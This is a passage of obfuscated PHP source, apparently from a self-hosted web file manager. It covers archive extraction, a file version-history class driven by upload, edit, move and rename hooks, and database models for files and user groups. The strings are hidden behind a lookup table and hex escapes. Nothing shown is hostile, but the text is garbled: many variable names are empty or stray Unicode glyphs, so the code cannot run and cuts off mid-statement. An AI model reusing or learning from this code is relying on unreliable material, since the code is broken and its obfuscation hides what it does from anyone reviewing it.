= $Ǎ҆[$]; $ = get_path_this($[$[32]]) . (checkExtSafe($[$[32]]) ? $[12] : $[1216]); $Ǎ҆[$][$[1215]] = $[1217] . intval($[$[1200]]) . $[386] . $; if ($ == 0) { continue; } $Ǎ҆[$][$[1215]] = $Ǎ҆[$ - 1][$[1215]] . $[1218] . $Ǎ҆[$][$[1215]]; } } } if (!is_array($Ǎ҆) || count($Ǎ҆) == 0) { return !1; } $ܻ = $Ǎ҆[count($Ǎ҆) - 1]; if (!IO::exist($)) { return !1; } $Ƙؾ = TEMP_FILES . $[1219] . kodIO::hashPathSafe($) . $[8]; $ = $Ƙؾ . $ܻ[$[1215]]; mk_dir($Ƙؾ); file_put_contents(TEMP_FILES . $[1194], $[12]); if (IO::exist($)) { return array($[200] => $, $[1199] => $Ǎ҆, $[1201] => $Ƙؾ); } $ = self::localFilePath($); if (!$) { $ = $Ƙؾ . $[1220]; if (!IO::exist($)) { self::copy($, $Ƙؾ, !1, get_path_this($)); } } if (!$ || !IO::exist($)) { return !1; } if ($ܻ[$[1200]] == -1) { return array($[200] => $, $[1199] => $Ǎ҆, $[1201] => $Ƙؾ); } $ÓΞ = $; foreach ($Ǎ҆ as $ => $) { if (!$ || $[$[1200]] == $[1198]) { break; } if (substr($[$[32]], -1, 1) == $[8]) { break; } $ﻸ = in_array(get_path_ext($[$[1215]]), array($[313], $[1205], $[1206], $[1207], $[1208], $[1209])); $ĉ = $ == count($Ǎ҆) - 1 && $ﻸ; $ = $Ƙؾ . $[$[1215]]; $Ɠ = $Ƙؾ . get_path_this($[$[32]]); if (IO::exist($)) { $ÓΞ = $; continue; } $ = $ == 0 ? get_path_ext($˗) : get_path_ext($ÓΞ); $ = KodArchive::extract(self::iconvSystem($ÓΞ), $Ƙؾ, $[$[1200]], $ݾÉ, $); self::unzipErrorCheck($, array($[1221], $, $Ǎ҆, $, $)); if (IO::exist($Ɠ)) { IO::rename($Ɠ, get_path_this($)); } $ÓΞ = $; } $ = $ÓΞ; return array($[200] => $ÓΞ, $[1199] => $Ǎ҆, $[1201] => $Ƙؾ); } private static function unzipErrorCheck($, $ڕ = false) { $ =& $_SERVER[ﻻ]; if ($[$[1222]]) { return !0; } write_log(array($[1223], $, $ڕ), $[1224]); show_json($[1225] . json_encode($[$[1212]]), !1); die; } } class IOHistory { public static $_historyBase = ''; function __construct() { } public static function bindEvent() { $ =& $_SERVER[ﻻ]; $ޛ۱ = $GLOBALS[$[6]][$[89]]; if ($ޛ۱[$[1226]] != 1) { return; } if ($ޛ۱[$[1227]] <= 0) { return; } if (isset($_REQUEST[$[1228]]) && $_REQUEST[$[1228]] == $[88]) { return; } Hook::bind($[1229], $[1230]); Hook::bind($[1231], $[1232]); Hook::bind($[1233], $[1234]); Hook::bind($[1235], $[1236]); Hook::bind($[1237], $[1238]); Hook::bind($[1239], $[1240]); } public static function eventBeforeUpload($Ő) { if ($Ő[3] && $Ő[3] != REPEAT_REPLACE) { return; } $놦 = self::parsePath($Ő[0]); if (!$놦) { return; } self::add($놦); } public static function eventBeforeEdit($) { $ޚ = self::parsePath($[0]); if (!$ޚ) { return; } self::add($ޚ); } public static function eventBeforeCopyFile($뼲, $ʨ, $˱ŝ, $, $؛, $ߋ) { $ =& $_SERVER[ﻻ]; if (isset($˱ŝ->_data[$[1165]]) && $˱ŝ->_data[$[1165]]) { return; } $Ë = $˱ŝ->getPathOuter($); $ = self::parsePath($Ë); if (!$) { return; } self::add($); } public static function eventBeforeRename($ڥ) { $ =& $_SERVER[ﻻ]; $ = self::parsePath($ڥ[0]); if (!$) { return; } $ = self::checkInHistory($); if (!$) { return; } if ($[$[33]] == $[200]) { $բ = self::listData($); if ($բ && $բ[$[369]]) { self::moveHistory($, $ڥ[1]); } } else { IO::rename($[$[84]], $ڥ[1]); } } public static function eventBeforeMove($) { $̒ =& $_SERVER[ﻻ]; $² = self::parsePath($[0]); if (!$²) { return; } $ = self::parsePath($[1]); if (!$) { return; } $ = $[3]; $ = self::checkInHistory($²); if (!$) { return; } $ķܙ = self::pathHistory($); if ($[$̒[33]] == $̒[200]) { $ = self::listData($²); $ = rtrim($, $̒[8]) . $̒[8] . ($ ? $ : get_path_this($²)); $ՠ = self::listData($); if ($ && $[$̒[369]] && $ՠ && $ՠ[$̒[369]]) { return self::clear($²); } if ($ && $[$̒[369]]) { self::moveHistory($², $, $ķܙ); } } else { IO::move($[$̒[84]], $ķܙ, !1, $); self::clearEmptyFolder(IO::pathFather($[$̒[84]])); } } public static function eventAfterRemove($, $ݶ) { $ =& $_SERVER[ﻻ]; if (!$ݶ) { return; } $Ӄ = self::parsePath($[0]); if (!$Ӄ) { return; } $Ҡ = self::checkInHistory($Ӄ); if (!$Ҡ) { return; } if ($Ҡ[$[33]] == $[200]) { $ԫ = self::listData($Ӄ, !1); if ($ԫ && $ԫ[$[369]]) { self::clear($Ӄ, !1); } } else { IO::remove($Ҡ[$[84]]); self::clearEmptyFolder(IO::pathFather($Ҡ[$[84]])); } } private static function checkInHistory($Ȯ) { $Ɗ = self::pathHistory($Ȯ); if (!IO::exist($Ɗ)) { $Ɗ .= $_SERVER[ﻻ][1241]; } return IO::exist($Ɗ) ? IO::info($Ɗ) : !1; } private static function parsePath($) { $䅎 =& $_SERVER[ﻻ]; if (!$) { return !1; } if ($GLOBALS[$䅎[1242]]) { return; } $ = KodIO::parse($); $ź = $[$䅎[33]]; $ = !$ź || $ź == KodIO::KOD_IO || $ź == KodIO::KOD_SHARE_ITEM; if (!$ || !$[$䅎[1243]]) { return !1; } if (substr($, 0, strlen(DATA_PATH . $䅎[1244])) == DATA_PATH . $䅎[1244]) { return !1; } if ($ź == KodIO::KOD_SHARE_ITEM) { $ = IO::init($); if ($->pathParse[$䅎[1161]]) { return self::parsePath($->pathParse[$䅎[1161]]); } return !1; } if (!self::$_historyBase) { self::$_historyBase = self::getBasePath(); } $Ҙ = array(self::$_historyBase, TEMP_PATH, BASIC_PATH . $䅎[1245]); foreach ($Ҙ as $ЊÁ) { if (!$ź && substr($, 0, strlen($ЊÁ)) == $ЊÁ) { return !1; } } self::log($GLOBALS[$䅎[1156]] . $䅎[1246] . $); return $; } private static function pathHistory($焸) { $˫ =& $_SERVER[ﻻ]; $נ = self::$_historyBase . ltrim(KodIO::clear($焸), $˫[8]); $נ = str_replace(array($˫[1247]), array($˫[1248]), $נ); return $נ; } public static function log($ڜ) { } public static function historyCount($) { $ =& $_SERVER[ﻻ]; $߽ = array(); $Չ = array(); foreach ($ as $) { $Ջ嬲 = get_path_father($); if (!$Չ[$Ջ嬲]) { $Չ[$Ջ嬲] = array(); } $Չ[$Ջ嬲][] = get_path_this($); } foreach ($Չ as $Ջ嬲 => $) { $ۭ = self::parsePath($Ջ嬲); if (!$ۭ) { continue; } foreach ($ as $ٍ) { $ = self::listData(rtrim($ۭ, $[8]) . $[8] . $ٍ, !1); if ($ && $[$[369]]) { $߽[rtrim($Ջ嬲, $[8]) . $[8] . $ٍ] = count($[$[369]]); } } } return $߽; } public static function add($چЁ) { $הâ =& $_SERVER[ﻻ]; $ӫ = self::listData($چЁ); if (!$ӫ) { return; } $ = Model($הâ[783])->get($הâ[1249]); $ǔ = $GLOBALS[$הâ[6]][$הâ[89]][$הâ[1227]]; $Ű = $ == $הâ[1250] ? min(5, $ǔ) : $ǔ; if ($ǔ <= 0) { return; } $ = IO::info($چЁ); $ = $ӫ[$הâ[369]]; if ($[$הâ[76]] == 0) { return; } if ($[$הâ[76]] >= 1024 * 1024 * 500) { return !1; } $Ց = IO::hashSimple($چЁ); if ($ && $[0][$הâ[177]] == $Ց) { return !0; } if (array_key_exists($הâ[203], $) && !$[$הâ[203]]) { return !1; } $ѕ = short_id(time()); $ܷƶ = array($הâ[399] => $ѕ, $הâ[177] => $Ց, $הâ[32] => $[$הâ[32]] . $הâ[10] . date($הâ[1251]) . rand_string(1), $הâ[76] => $[$הâ[76]], $הâ[463] => USER_ID, $הâ[201] => time(), $הâ[1252] => $הâ[12]); IO::mkdir($ӫ[$הâ[1253]]); $ = IO::copy($چЁ, $ӫ[$הâ[1253]], !1, $ܷƶ[$הâ[32]]); if (!$) { self::clearEmptyFolder($ӫ[$הâ[1253]]); return !1; } array_unshift($, $ܷƶ); if (count($) > $Ű) { $˞ƅ = array_slice($, $Ű); foreach ($˞ƅ as $LJ) { IO::remove($ӫ[$הâ[1253]] . $LJ[$הâ[32]]); } $ = array_slice($, 0, $Ű); } return self::saveData($ӫ[$הâ[1254]], $); } public static function remove($, $ݟݡ) { $ =& $_SERVER[ﻻ]; $ = self::listData($); $鄃 = array(); if (!$) { return !1; } foreach ($[$[369]] as $ן͆) { if ($ן͆[$[399]] == $ݟݡ) { IO::remove($[$[1253]] . $ן͆[$[32]]); continue; } $鄃[] = $ן͆; } return self::saveData($[$[1254]], $鄃); } public static function clear($ҹ, $٤ = true) { $Ĕ =& $_SERVER[ﻻ]; $ = self::listData($ҹ, $٤); if (!$) { return !1; } foreach ($[$Ĕ[369]] as $÷) { IO::remove($[$Ĕ[1253]] . $÷[$Ĕ[32]]); } return self::saveData($[$Ĕ[1254]], array()); } public static function moveHistory($ؿ, $Ό = '', $Ĕ܇ = '') { $ =& $_SERVER[ﻻ]; $ = self::listData($ؿ, !1); if (!$ || !$[$[369]]) { return !1; } $ݷ = $[1241]; $Ό = $Ό ? $Ό : get_path_this($ؿ); $Ĕ܇ = $Ĕ܇ ? $Ĕ܇ : $[$[1253]]; $ڑ = substr(get_path_this($[$[1254]]), 0, -strlen($ݷ)); foreach ($[$[369]] as $ => $Dž) { $ = $Ό . substr($Dž[$[32]], strlen($ڑ)); $ݰ = IO::move($[$[1253]] . $Dž[$[32]], $Ĕ܇, !1, $); if ($ݰ) { $[$[369]][$][$[32]] = $; } } $[$[1254]] = IO::move($[$[1254]], $Ĕ܇, !1, $Ό . $ݷ); self::saveData($[$[1254]], $[$[369]]); self::clearEmptyFolder($[$[1253]]); } public static function rollback($, $) { $ =& $_SERVER[ﻻ]; $ʎʘ = self::listData($); if (!$ʎʘ) { return; } $ = IO::info($); foreach ($ʎʘ[$[369]] as $Ï => $) { if ($[$[399]] == $) { self::add($); $ = $ʎʘ[$[1253]] . $[$[32]]; $ = IO::copy($, IO::pathFather($), REPEAT_REPLACE, $[$[32]]); if ($) { self::remove($, $); } return $; } } return !1; } public static function setDetail($Ӕ, $, $摑) { $ã =& $_SERVER[ﻻ]; $ = self::listData($Ӕ); if (!$) { return; } foreach ($[$ã[369]] as $գ֫ => $) { if ($[$ã[399]] == $) { $[$ã[369]][$գ֫][$ã[1252]] = $摑; self::saveData($[$ã[1254]], $[$ã[369]]); return !0; } } return !1; } public static function fileInfo($ē, $) { $홈 =& $_SERVER[ﻻ]; $ƈ = self::listData($ē); if (!$ƈ) { show_json(LNG($홈[105]), !1); } $ = $홈[12]; foreach ($ƈ[$홈[369]] as $ => $ͮ) { if ($ͮ[$홈[399]] != $) { continue; } $ = $ƈ[$홈[1253]] . $ͮ[$홈[32]]; break; } if (!$) { show_json(LNG($홈[105]), !1); } return IO::info($); } public static function fileOut($, $Х, $ܣ = false) { $ =& $_SERVER[ﻻ]; $ = self::fileInfo($, $Х); $ߌ =& $GLOBALS[$[7]]; $ܣ = isset($ߌ[$[1204]]) && $ߌ[$[1204]] == 1; if (isset($ߌ[$[33]]) && $ߌ[$[33]] == $[1255]) { return IO::fileOutImage($[$[84]], $ߌ[$[1256]]); } IO::fileOut($[$[84]], $ܣ, get_path_this($)); } public static function listData($, $ = true) { $ =& $_SERVER[ﻻ]; if ($ && !IO::exist($)) { return !1; } if (!self::$_historyBase) { self::$_historyBase = self::getBasePath(); } if (substr($, 0, strlen(TEMP_PATH)) == TEMP_PATH) { return !1; } $ = self::pathHistory($); $ = array($[1254] => $ . $[1241], $[1253] => rtrim(get_path_father($), $[8]) . $[8], $[369] => array()); $酱 = IO::getContent($[$[1254]]); if ($酱) { $ۯ = json_decode($酱, !0); if (is_array($ۯ)) { $[$[369]] = $ۯ; } } return $; } private static function saveData($, $涭) { $ޝÕ =& $_SERVER[ﻻ]; self::log($ޝÕ[1257] . $ . $ޝÕ[71] . count($涭), $ޝÕ[764]); if ($涭) { return IO::setContent($, json_encode($涭)); } $ᛝ = IO::pathFather($); IO::remove($); self::clearEmptyFolder($ᛝ); return !0; } public static function clearEmptyFolder($) { $ =& $_SERVER[ﻻ]; if (trim($, $[8]) == trim(self::$_historyBase, $[8])) { return; } $ۛ = IO::pathFather($); $ = IO::has($, !0); if ($[$[207]] > 0 || $[$[208]] > 0) { return; } IO::remove($); self::clearEmptyFolder($ۛ); } private static function getBasePath() { $߮䐓 =& $_SERVER[ﻻ]; $ɡ = Model($߮䐓[1258])->get($߮䐓[1259]); if ($ɡ) { if (!IO::exist($ɡ)) { IO::mkdir($ɡ); } if (get_path_this($ɡ) == $߮䐓[1244]) { $ = $߮䐓[1260] . rand_string(8); @rename($ɡ, get_path_father($ɡ) . $߮䐓[8] . $); $ɡ = DATA_PATH . $ . $߮䐓[8]; file_put_contents(DATA_PATH . $߮䐓[1194], $߮䐓[12]); Model($߮䐓[1258])->set($߮䐓[1259], $ɡ); } return $ɡ; } $ɡ = DATA_PATH . $߮䐓[1260] . rand_string(8) . $߮䐓[8]; $ɡ = IO::mkdir($ɡ); $ɡ = rtrim($ɡ, $߮䐓[8]) . $߮䐓[8]; file_put_contents($ɡ . $߮䐓[1194], $߮䐓[12]); file_put_contents(DATA_PATH . $߮䐓[1194], $߮䐓[12]); Model($߮䐓[1258])->set($߮䐓[1259], $ɡ); return $ɡ; } } goto A; Dࣂ: class FileContentModel extends ModelBase { protected $tableName = "\151\x6f\x5f\x66\x69\154\145\137\143\x6f\x6e\x74\x65\156\x74\x73"; protected $dataAuto = array(array("\143\162\x65\141\x74\x65\124\151\x6d\x65", "\x74\151\x6d\x65", "\x69\x6e\x73\x65\162\x74", "\146\x75\156\x63\164\151\x6f\156")); } class FileModel extends ModelBase { protected $tableName = "\151\x6f\x5f\x66\x69\154\145"; protected $tableMeta = array("\x74\141\x62\x6c\x65\116\141\x6d\x65" => "\x69\x6f\137\x66\151\x6c\145\137\155\x65\x74\141", "\x6d\145\x74\141\106\x69\x65\x6c\x64" => "\146\x69\x6c\145\111\104"); public function fileInfo($Ӗ) { $ =& $_SERVER[ﻻ]; static $ = array(); if (!isset($[$Ӗ])) { $Ӫ = $[1916]; $ = Model($[480])->field($Ӫ)->where(array($[478] => $Ӗ))->find(); $[$Ӗ] = $; } return $[$Ӗ]; } public function addFileByContent($ = '', $ = '') { $ =& $_SERVER[ﻻ]; $Ή = TEMP_PATH . $[1917]; if (!is_dir($Ή)) { mk_dir($Ή); } $苬 = $Ή . $[1918] . rand_string(16); file_put_contents($苬, $); $ = $this->addFile($苬, $, !0); if (file_exists($苬)) { @unlink($苬); } return $; } public function createFileName($̹, $ = false, $ = false) { $ =& $_SERVER[ﻻ]; $̟铹 = IO::init($[8]); $ = $this->makeFilePath($̹, $̟铹, $, $); $Ӹ = $̟铹->pathFather($); static $ݒܩ = false; $Ď = $[1919] . md5($Ӹ); if (!$ݒܩ && !Cache::get($Ď)) { $ݒܩ = !0; $ѧ = IO::mkdir($Ӹ); if (!IO::exist($ѧ . $[810])) { IO::mkfile($ѧ . $[810]); } Cache::set($Ď, 1, 3600 * 2); } return $; } public function makeFilePath($å, $ƿ, $ = false, $ = false) { $ݡå =& $_SERVER[ﻻ]; $ٔ = Model($ݡå[783])->get($ݡå[1920]); $举 = KodIO::defaultIO() . date($ݡå[1921]); $ߵ = $举 . rand_string(5) . short_id(100); $å = str_replace($ݡå[8], $ݡå[11], KodIO::clear($å)); $ = $ƿ->ext($å); if (!$å) { $ٔ = $ݡå[1922]; } switch ($ٔ) { case $ݡå[1923]: $ߵ = $ߵ . $ݡå[10] . $ƿ->ext($å); if ($ == $ݡå[1860]) { $ߵ .= $ݡå[1216]; } break; case $ݡå[1924]: $ = Model($ݡå[783])->get($ݡå[784]); $ = substr(md5($ݡå[785] . $ . date($ݡå[760])), 0, 8); $ʪ⪵ = KodIO::defaultDriver(); $举 = $ݡå[1247] . $ʪ⪵[$ݡå[399]] . $ݡå[418] . date($ݡå[1925]) . $ . $ݡå[8]; if ($ == $ݡå[1860]) { $å .= $ݡå[1216]; } $߳ = $ݡå[1926] . $举 . $å; CacheLock::lock($߳); $ߵ = $举 . $å; if (IO::exist($举 . $å)) { $ = substr($å, 0, strlen($å) - strlen($)); $ = $ ? substr($, 0, 5) : ($ ? substr($, 0, 5) : rand_string(5)); $ߵ = $举 . $ . $ . $ݡå[10] . $; } if (IO::isTypeObject($ߵ) && !IO::isUploadServer($ߵ)) { if (IO::exist($ߵ)) { return $ߵ; } $ = IO::setContent($ߵ, $ݡå[12]); if (!$) { show_json($ݡå[1927], !1); } } CacheLock::unlock($߳); break; case $ݡå[1922]: break; default: break; } return $ߵ; } public function addFileByRemote($ɔ, $ۏ, $ = array()) { $ˡ =& $_SERVER[ﻻ]; if (!IO::exist($ɔ)) { return !1; } $ձ = $[$ˡ[176]] ? $[$ˡ[176]] : $ˡ[12]; $ = IO::hashMd5($ɔ, $ձ); $dz = KodIO::defaultDriver(); $ = array($ˡ[554] => IO::size($ɔ), $ˡ[1928] => 1, $ˡ[429] => $ۏ, $ˡ[821] => $dz[$ˡ[399]], $ˡ[430] => $ɔ, $ˡ[1929] => $[$ˡ[177]] ? $[$ˡ[177]] : IO::hashSimple($ɔ), $ˡ[1930] => $ ? $ : $ձ); if ($ = $this->addFileCheckExist($[$ˡ[177]], $[$ˡ[176]], $[$ˡ[76]])) { return $; } return $this->addFileData($); } private function addFileData($ߋ) { $ =& $_SERVER[ﻻ]; if (!$ߋ) { return !1; } $ߋ[$[76]] = intval($ߋ[$[76]]); if (!$ߋ[$[76]] && strlen($ߋ[$[177]]) > 32) { $ߋ[$[76]] = intval(substr($ߋ[$[177]], 32)); } $ˏР = $this->add($ߋ); return $this->find($ˏР); } public function addFile($ۍ, $, $ߙǾ = false) { $ؐކ =& $_SERVER[ﻻ]; $ɏ = IO::hashSimple($ۍ); $ɀ = IO::size($ۍ); $ = $ɀ <= 1024 * 1024 * 10 ? IO::hashMd5($ۍ) : $ؐކ[12]; $ޔ = $ؐކ[1931] . $ɏ; CacheLock::lock($ޔ); if ($ && $ɏ) { $ = $this->addFileCheckExist($ɏ, $, $ɀ); if ($) { CacheLock::unlock($ޔ); return $; } } $ = $this->addFileMake($ۍ, $ɀ, $ɏ, $, $, $ߙǾ); $㟬 = $this->addFileData($); CacheLock::unlock($ޔ); if (!$ && $㟬) { $this->fileMd5Check($㟬); } return $㟬; } private function fileMd5Check($⎸) { $ =& $_SERVER[ﻻ]; $ė = array($⎸[$[477]], $⎸[$[84]]); $ī = $[1932] . $⎸[$[84]]; $ޟ = $[1933] . $⎸[$[477]]; $ҩޗ = TaskQueue::add($[1934], $ė, $ī, $ޟ); if (!$ҩޗ) { $this->fileMd5Set($⎸[$[477]], $⎸[$[84]]); } else { TaskQueue::addSubmit(); } } public function fileMd5Set($, $) { $ =& $_SERVER[ﻻ]; $ = $this->find($); if (!$ || $[$[176]]) { return; } $͑ = IO::hashMd5($); if (!$͑) { return $[12]; } $this->where(array($[477] => $))->save(array($[176] => $͑)); } public function addFileMake($ү멼, $, $, $, $, $) { $Ʒ =& $_SERVER[ﻻ]; $Ҽ = $this->createFileName($, $, $); $ = get_path_father($Ҽ); $ = get_path_this($Ҽ); if ($) { $ۉ = IO::move($ү멼, $, !1, $); } else { $ۉ = IO::copy($ү멼, $, !1, $); } if (!$ۉ) { return !1; } $ɢ = KodIO::defaultDriver(); $̎ = array($Ʒ[554] => $, $Ʒ[1928] => 1, $Ʒ[429] => $, $Ʒ[821] => $ɢ[$Ʒ[399]], $Ʒ[430] => $Ҽ, $Ʒ[1929] => $, $Ʒ[1930] => $); return $̎; } public function addFileCheckExist($, $ύ, $) { $ =& $_SERVER[ﻻ]; $ = $this->findByHash($, $ύ); if (!$) { return !1; } $ܤ = array($[1928] => intval($[$[1935]]) + 1, $[554] => $); $this->where(array($[478] => $[$[477]]))->save($ܤ); return $; } public function remove($) { $this->linkCountChange($, !1); $this->clearEmpty(); return !0; } public function linkAdd($Ů͋) { $this->linkCountChange($Ů͋, !0); } public function linkCountChange($ۜ, $Ͽ) { $ж =& $_SERVER[ﻻ]; if (!$ۜ) { return; } if (!is_array($ۜ)) { $ۜ = array($ۜ); } $ = array(); foreach ($ۜ as $ȫ) { $ = $ȫ . $ж[12]; if (!$[$]) { $[$] = 0; } $[$]++; } $ = array(); foreach ($ as $ȫ => $ʘ) { $ = $ʘ . $ж[12]; if (!$[$]) { $[$] = array(); } $[$][] = $ȫ; } foreach ($ as $ʘ => $¡) { if (!$¡) { continue; } $ʘ = $Ͽ ? $ʘ : -intval($ʘ); $ė = array($ж[477] => array($ж[7], $¡)); if ($ʘ < 0) { $ė[$ж[1935]] = array($ж[1025], abs($ʘ)); } $this->where($ė)->setAdd($ж[1935], $ʘ); } } public function findByHash($ꖱ, $ = false) { $נ =& $_SERVER[ﻻ]; if (!$ꖱ && !$) { return !1; } $ͱ = array($נ[1929] => $ꖱ); if ($) { $ͱ = array($נ[1930] => $); } return $this->order($נ[1936])->where($ͱ)->find(); } public function clearEmpty($ = 0) { $ =& $_SERVER[ﻻ]; $ = time() - 3600 * 24 * $; $ = $[1937] . $; $ = $this->where($)->select(); if (!$) { return; } $ّ = new Task($[1938], $[12], count($)); foreach ($ as $) { $ّ->update(1); $this->resetFile($); } $ّ->end(); } public function resetFile($ʋ) { $ =& $_SERVER[ﻻ]; $臲 = array($[478] => $ʋ[$[477]]); $ = Model($[1349])->where($臲)->count(); $ = Model($[1939])->where($臲)->count(); $ӝԍ = intval($) + intval($); if ($ӝԍ == 0) { IO::remove($ʋ[$[84]]); Model($[1940])->delete($ʋ[$[477]]); $this->where($臲)->delete(); $this->metaSet($ʋ[$[477]], null, null); return; } if ($ʋ[$[1935]] != $ӝԍ) { $this->where($臲)->save(array($[1928] => $ӝԍ)); } } public function storageInfo($혁 = false) { $ؕӝ =& $_SERVER[ﻻ]; $߃ = $this->count() + 0.0; $ɖ = 0; $٘ = 1; $㽦 = 0; $ = 5000; for ($ᛅ = 0; $ᛅ < $߃; $ᛅ = $ᛅ + $) { $ = $this->limit($ᛅ, $ᛅ + $)->select(); foreach ($ as $) { $٘ += $[$ؕӝ[76]] * $[$ؕӝ[1935]]; $ɖ += $[$ؕӝ[76]] * ($[$ؕӝ[1935]] - 1); $㽦 += $[$ؕӝ[1935]]; } } $Ѝ = array($ؕӝ[1941] => $٘, $ؕӝ[1942] => $ɖ, $ؕӝ[1943] => $ɖ / $٘, $ؕӝ[80] => $߃, $ؕӝ[1944] => $㽦); return $Ѝ; } } class GroupModel extends ModelBase { protected $tableName = "\x67\162\x6f\x75\160"; protected $tableMeta = array("\x74\x61\142\x6c\x65\116\141\155\x65" => "\x67\x72\157\x75\x70\137\155\x65\164\x61", "\155\145\164\x61\x46\x69\145\x6c\x64" => "\147\x72\x6f\165\x70\x49\x44"); protected function cacheFunctionAlias($ұ) { $ =& $_SERVER[ﻻ]; return array($[1945] => array($ұ[0], $[1946]), $[1947] => array($ұ[0], $[1948])); } protected function getInfo($, $ְ = false) { $Ќ = $this->getInfoSimple($); if (!$Ќ) { return !1; } if ($ְ) { return $this->_listDataApplyItem($Ќ); } return $this->cacheFunctionGet($_SERVER[ﻻ][1949], $); } protected function getInfoSimple($馱, $ޯρ = false) { $ =& $_SERVER[ﻻ]; if ($ޯρ) { $·ȑ = array($[1867] => intval($馱)); $ = $this->where($·ȑ)->find(); return is_array($) ? $ : array(); } return $this->cacheFunctionGet($[1950], $馱); } protected function groupAdd($) { $ =& $_SERVER[ﻻ]; if (!$[$[441]] && isset($[$[1867]]) && $[$[1867]] == 1) { if ($ = $this->getInfoSimple($[$[1867]], !0)) { return $[$[1867]]; } } else { $ = $this->getInfoSimple($[$[441]]); if (!$) { return !1; } } $ = $[530]; if ($[$[520]]) { $ = $[$[520]] . $[$[1867]] . $[50]; } $ = array($[429] => $this->groupNameAuto($[$[441]], $[$[32]]), $[410] => $[$[441]], $[589] => $, $[1951] => $[$[1854]], $[1952] => 0, $[1871] => 0); if (isset($[$[1891]])) { $[$[1891]] = $[$[1891]]; } else { $ = $this->max($[1891]); if (!$) { $ = 0; } $[$[1891]] = $ + 1; } if (!empty($[$[1867]])) { $[$[1867]] = $[$[1867]]; } $ = $this->add($); $this->setNamePinyin($, $[$[32]]); if (isset($[$[1953]])) { $this->metaSet($, array($[1953] => $[$[1953]], $[1954] => $[$[1954]])); unset($[$[1953]]); unset($[$[1954]]); } Model($[1349])->groupRootAdd($); $this->_clearCache($[$[441]]); return $; } protected function groupEdit($, $) { $ =& $_SERVER[ﻻ]; $湨 = $this->getInfoSimple($); if (!$湨) { return !1; } if (!empty($[$[441]])) { $ = $this->getInfoSimple($[$[441]]); if (!$) { return !1; } if ($湨[$[1867]] == $[$[1867]]) { return !1; } if ($[$[441]] != $湨[$[441]]) { if ($[$[520]] !== $湨[$[520]] && strpos($[$[520]], $湨[$[520]] . $湨[$[1867]] . $[50]) === 0) { return !1; } $[$[589]] = $[$[520]] . $[$[441]] . $[50]; $this->_changeChildLevel($湨, $); $this->_clearCache($[$[1867]]); $this->_clearCache($湨[$[441]]); } } if (isset($[$[32]])) { $this->setNamePinyin($, $[$[32]]); } if (isset($[$[1953]])) { $this->metaSet($, array($[1953] => $[$[1953]], $[1954] => $[$[1954]])); unset($[$[1953]]); unset($[$[1954]]); } $this->_clearChildrenCache($湨); return $this->where(array($[1955] => $))->save($); } private function _clearChildrenCache($Ȣ؆) { $Ӵ =& $_SERVER[ﻻ]; $ʹ = array($Ӵ[589] => array($Ӵ[549], $Ȣ؆[$Ӵ[520]] . $Ȣ؆[$Ӵ[1867]] . $Ӵ[550])); $ = $this->field($Ӵ[1867])->where($ʹ)->select(); foreach ($ as $) { $this->_clearCache($[$Ӵ[1867]]); } } private function _clearCache($ڬ) { $ =& $_SERVER[ﻻ]; $this->cacheFunctionClear($[1949], $ڬ); $this->cacheFunctionClear($[1950], $ڬ); } private function _changeChildLevel($䟡, $˝, $ = false) { $ =& $_SERVER[ﻻ]; $ӑ = $䟡[$[520]] . $䟡[$[1867]] . $[50]; $ְ݅ = $˝[$[520]] . $˝[$[1867]] . $[50] . $䟡[$[1867]] . $[50]; if ($) { $ְ݅ = $˝[$[520]] . $˝[$[1867]] . $[50]; } $ڸ = array($[589] => array($[549], $䟡[$[520]] . $䟡[$[1867]] . $[550])); $̌ğ = array($[589] => array($[598], "\x72\145\160\x6c\x61\143\x65\50\160\141\162\145\156\x74\114\x65\166\x65\154\x2c\47{$ӑ}\47\x2c\x27{$ְ݅}\47\51")); $this->_clearChildrenCache($䟡); $this->where($ڸ)->data($̌ğ)->save(); } public function setNamePinyin($Nj, $οы = false) { $ʉ =& $_SERVER[ﻻ]; if (!$οы) { $ĭ = $this->getInfoSimple($Nj); $οы = $ĭ[$ʉ[32]]; } if (!Input::check($οы, $ʉ[592])) { $this->metaSet($Nj, $ʉ[474], null); $this->metaSet($Nj, $ʉ[473], null); return; } $ߝ = array($ʉ[474] => str_replace($ʉ[53], $ʉ[12], Pinyin::get($οы)), $ʉ[473] => Pinyin::get($οы, $ʉ[593])); $this->metaSet($Nj, $ߝ); } protected function groupStatus($嚐, $Ŏ) { $ѓ =& $_SERVER[ﻻ]; $ދ = $this->getInfoSimple($嚐); if (!$ދ) { return !1; } if ($Ŏ == $ѓ[88]) { $ԡ = $this->parentLevelArray($ދ[$ѓ[520]]); } else { $Ԗ = array($ѓ[589] => array($ѓ[549], $ދ[$ѓ[520]] . $ދ[$ѓ[1867]] . $ѓ[550])); $ԡ = $this->where($Ԗ)->field($ѓ[1867])->select(); $ԡ = array_to_keyvalue($ԡ, $ѓ[12], $ѓ[1867]); } $ԡ[] = $ދ[$ѓ[1867]]; $ = array(); foreach ($ԡ as $嚐) { $[] = array($ѓ[1867] => $嚐, $ѓ[94] => $ѓ[762], $ѓ[374] => $Ŏ); $this->_clearCache($嚐); } return Model($ѓ[1956])->addAll($, array(), !0); } protected function groupRemove($Խ, $ = false) { $ =& $_SERVER[ﻻ]; $ٝ = array($[1867] => $Խ); $ = $this->where($ٝ)->find(); if (!$ || $[$[441]] == 0) { return !1; } if (!$) { $Ԋ = $this->getInfoSimple($[$[441]]); $this->_changeChildLevel($, $Ԋ, !0); $this->where(array($[441] => $Խ))->save(array($[441] => $[$[441]])); $this->_clearCache($Ԋ[$[1867]]); } Model($[1956])->where($ٝ)->delete(); Model($[1957])->where($ٝ)->delete(); Model($[838])->groupRootRemove($Խ); $this->_clearCache($[$[441]]); return $this->where($ٝ)->delete(); } protected function groupSort($Ĭ) { $ߛ =& $_SERVER[ﻻ]; $ڍ = array(); foreach ($Ĭ as $ => $) { $ڍ[] = array($ߛ[1867], $, $ߛ[1891], $ + 1); } $this->saveAll($ڍ); } public function listData() { $ = $this->_makeOrder()->selectPage(50); $this->_listDataApply($[$_SERVER[ﻻ][369]]); return $; } private function _makeOrder($ħ։ = '') { $짩 =& $_SERVER[ﻻ]; $ = array($짩[1867], $짩[32], $짩[1856], $짩[201]); $õ = array($짩[459] => $짩[460], $짩[461] => $짩[462]); $ = Input::get($짩[466], $짩[7], $짩[1871], $); $ = Input::get($짩[467], $짩[7], $짩[1958], array($짩[1958], $짩[461])); $ = $õ[$]; $ħ։ = $ħ։ . "{$}\x20{$}\x2c\40\147\162\x6f\x75\x70\x49\x44\x20\x61\163\x63"; return $this->order($ħ։); } public function listChild($։) { $ =& $_SERVER[ﻻ]; $ = $this->where(array($[441] => 